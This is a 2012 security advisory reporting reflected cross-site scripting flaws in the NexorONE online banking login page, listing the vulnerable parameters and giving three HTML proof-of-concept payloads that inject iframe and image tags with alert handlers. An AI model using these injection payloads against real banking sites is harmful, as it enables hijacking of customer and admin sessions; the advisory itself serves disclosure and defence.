Document Title:
===============
NexorONE Online Banking - Multiple Cross Site Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=304


Release Date:
=============
2012-02-04


Vulnerability Laboratory ID (VL-ID):
====================================
304


Product & Service Introduction:
===============================
NexorONE is the leading online banking software provider for Private International banks, Offshore Financian Institutions,
Savings and Loans, Credit unions, Investmenet Fund Managers and Payement Processing Companies.

NexorONE has already been demployed to more than 200 financial entities worldwide, spread out throught 20 countries and in
12 different languages. with this market experience we know we can fulfill your business demands.

(Copy of the Vendor Homepage: https://www.nexorone.com/ )


Abstract Advisory Information:
==============================
Vulnerability-Lab Team (Chokri B.A.) discovered multiple non-persistent Cross Site Scripting vulnerabilities on the NexorONE Online Banking Software.


Vulnerability Disclosure Timeline:
==================================
2011-10-05:	Vendor Notification 1
2011-11-13:	Vendor Notification 2
2011-12-17:	Vendor Notification 3
2012-02-04:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non-persistent cross site scripting vulnerability is detected on the NexorONE Online Banking Software. 
Successful exploitation of the vulnerability allows an attacker to hijack user/mod/admin sessions of the portal.

Vulnerable file(s):
							[+] login.php

Vulnerable Param(s):
							[+] ?visitor_language=
							[+] ?message=

Picture(s):
							../1.png
							../2.png
							../3.png


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with required user inter action. For demonstration or reproduce ...

PoC 1:
<div class="login_line2">_QUESTION_NEW_CUSTOMER <a href="register.php?visitor_language=english\
"><img src=http://www.vulnerability-lab.com/gfx/partners/vlab.png>" tabindex="4">_REGISTER</a>	 <=[x]
</div></form>


PoC 2:
<div class="login_line2">_QUESTION_NEW_CUSTOMER <a href="register.php?visitor_language=english\\\
"><iframe src=http://www.vulnerability-lab.com onload=alert(vulnerabilitylab) height=800px width=900px>	 <=[x]
" tabindex="4">_REGISTER</a></div></form>

PoC 3:
<div id="login">
<table cellspacing="0" class="message"><tr><td><center>Registration_successful>
<iframe src=http://www.vulnerability-lab.com onload=\"alert(vulnerabilitylab);\" height=\"800px\" width=\"900px\">	 <=[x]
</center></td></tr></table>


Security Risk:
==============
The security risk of the non-reflective cross site scripting vulnerabilities are estimated as medium.


Credits & Authors:
==================
Vulnerability Research Laboratory - Chokri B.A. (Me!ster the White)


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=========================
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
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